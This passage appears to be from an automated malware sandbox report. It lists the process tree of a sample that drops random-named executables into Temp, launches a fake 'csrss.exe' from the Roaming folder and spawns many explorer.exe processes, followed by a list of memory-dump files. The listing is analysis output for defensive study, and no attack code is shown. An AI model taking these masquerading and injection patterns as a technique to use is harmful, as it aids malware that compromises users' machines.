                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\DD19.exe
                                                                                                                                                        1⤵
                                                                                                                                                          PID:3608
                                                                                                                                                          • C:\Windows\SysWOW64\notepad.exe
                                                                                                                                                            notepad.exe
                                                                                                                                                            2⤵
                                                                                                                                                              PID:3116
                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\csrss.exe
                                                                                                                                                              "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\csrss.exe" -start
                                                                                                                                                              2⤵
                                                                                                                                                                PID:3792
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\174C.exe
                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\174C.exe
                                                                                                                                                              1⤵
                                                                                                                                                                PID:3972
                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\174C.exe
                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\174C.exe
                                                                                                                                                                  2⤵
                                                                                                                                                                    PID:3860
                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\174C.exe
                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\174C.exe
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:3848
                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\174C.exe
                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\174C.exe
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:3660
                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\174C.exe
                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\174C.exe
                                                                                                                                                                        2⤵
                                                                                                                                                                          PID:1184
                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\4F1F.exe
                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\4F1F.exe
                                                                                                                                                                        1⤵
                                                                                                                                                                          PID:3720
                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 3720 -s 1468
                                                                                                                                                                            2⤵
                                                                                                                                                                            • Program crash
                                                                                                                                                                            PID:4680
                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\64B3.exe
                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\64B3.exe
                                                                                                                                                                          1⤵
                                                                                                                                                                            PID:4536
                                                                                                                                                                          • C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                            C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                            1⤵
                                                                                                                                                                              PID:4904
                                                                                                                                                                            • C:\Windows\explorer.exe
                                                                                                                                                                              C:\Windows\explorer.exe
                                                                                                                                                                              1⤵
                                                                                                                                                                                PID:4916
                                                                                                                                                                              • C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                1⤵
                                                                                                                                                                                  PID:4924
                                                                                                                                                                                • C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                  C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                  1⤵
                                                                                                                                                                                    PID:4956
                                                                                                                                                                                  • C:\Windows\explorer.exe
                                                                                                                                                                                    C:\Windows\explorer.exe
                                                                                                                                                                                    1⤵
                                                                                                                                                                                      PID:5020
                                                                                                                                                                                    • C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                      C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                      1⤵
                                                                                                                                                                                        PID:5036
                                                                                                                                                                                      • C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                        C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                        1⤵
                                                                                                                                                                                          PID:4992
                                                                                                                                                                                        • C:\Windows\explorer.exe
                                                                                                                                                                                          C:\Windows\explorer.exe
                                                                                                                                                                                          1⤵
                                                                                                                                                                                            PID:4968
                                                                                                                                                                                          • C:\Windows\explorer.exe
                                                                                                                                                                                            C:\Windows\explorer.exe
                                                                                                                                                                                            1⤵
                                                                                                                                                                                              PID:4936

                                                                                                                                                                                            Network

                                                                                                                                                                                            MITRE ATT&CK Enterprise v6

                                                                                                                                                                                            Replay Monitor

                                                                                                                                                                                            Loading Replay Monitor...

                                                                                                                                                                                            Downloads

                                                                                                                                                                                            • memory/320-165-0x0000000000F80000-0x0000000000F81000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              4KB

                                                                                                                                                                                            • memory/584-168-0x0000000000FF0000-0x0000000000FF1000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              4KB

                                                                                                                                                                                            • memory/852-169-0x0000000000020000-0x000000000002A000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              40KB

                                                                                                                                                                                            • memory/976-167-0x0000000000200000-0x0000000000201000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              4KB

                                                                                                                                                                                            • memory/1272-181-0x0000000002AA0000-0x0000000002AB6000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              88KB

                                                                                                                                                                                            • memory/1360-122-0x000007FEFC141000-0x000007FEFC143000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              8KB

                                                                                                                                                                                            • memory/1376-142-0x00000000008A0000-0x00000000008A1000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              4KB

                                                                                                                                                                                            • memory/1620-180-0x00000000002B0000-0x000000000034D000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              628KB

                                                                                                                                                                                            • memory/1636-166-0x0000000000A10000-0x0000000000A11000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              4KB

                                                                                                                                                                                            • memory/1644-163-0x0000000000C10000-0x0000000000C11000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              4KB

                                                                                                                                                                                            • memory/1644-189-0x0000000000860000-0x00000000008D2000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              456KB

                                                                                                                                                                                            • memory/1696-183-0x00000000030F0000-0x000000000310C000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              112KB

                                                                                                                                                                                            • memory/1696-187-0x0000000004860000-0x000000000487A000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              104KB

                                                                                                                                                                                            • memory/1788-174-0x0000000000D40000-0x0000000000D41000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              4KB

                                                                                                                                                                                            • memory/1796-164-0x0000000000B60000-0x0000000000B61000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              4KB

                                                                                                                                                                                            • memory/2040-61-0x0000000003EE0000-0x000000000401F000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              1.2MB

                                                                                                                                                                                            • memory/2040-60-0x0000000076281000-0x0000000076283000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              8KB

                                                                                                                                                                                            • memory/2176-229-0x00000000010B0000-0x00000000010B1000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              4KB

                                                                                                                                                                                            • memory/2304-170-0x0000000000400000-0x0000000000409000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              36KB

                                                                                                                                                                                            • memory/2856-195-0x0000000000400000-0x0000000000422000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              136KB

                                                                                                                                                                                            • memory/2856-192-0x0000000000400000-0x0000000000422000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              136KB

                                                                                                                                                                                            • memory/2964-206-0x0000000000400000-0x0000000000420000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              128KB

                                                                                                                                                                                            • memory/2964-201-0x0000000000400000-0x0000000000420000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              128KB

                                                                                                                                                                                            • memory/2972-210-0x0000000000F70000-0x0000000000F71000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              4KB